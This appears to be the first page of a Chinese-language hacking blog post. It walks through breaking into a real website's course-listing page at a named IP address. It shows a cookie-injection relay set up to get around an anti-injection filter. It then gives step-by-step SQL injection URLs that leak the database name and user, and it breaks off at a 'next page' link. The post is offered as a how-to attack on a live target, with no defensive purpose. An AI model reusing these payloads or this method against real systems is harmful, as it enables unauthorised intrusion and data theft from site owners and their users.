很多朋友都说我拿站就只有图,现在写一个简单的过程!

　　没什么技术含量,别见笑!呵呵,开始了,1.先判断是否存在注入:在地址后面打上'

　　http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'

　　有防注入系统,限制了我的IP,现在就可以用COOKIES注入器

　　进入注入:

　　填写相应信息,生成1.asp,放到我服务器上次,地址是:http://www.xuyunfeng.com.cn/1.asp

　　加上参数为:http://www.xuyunfeng.com.cn/1.asp?xuyunfeng=0048

　　现在尝试注入;http://www.xuyunfeng.com.cn/1.asp?xuyunfeng=0048'

　　提示出错,试了一下不能注入,到了这里一般的朋友都放弃了,现在我们回到原来的注入点

　　http://218.6.168.52/wlxt/listcourse.asp?courseid=0048一:暴数据库信息:

　　1.判断数据库名:

　　http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20and%20db_name()>0%20and%20''='

　　暴出数据库名为:wlxt

　　2.判断数据库用户名:

　　http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20and%20user>0%20and%20''='

[1] [2] [3] 下一页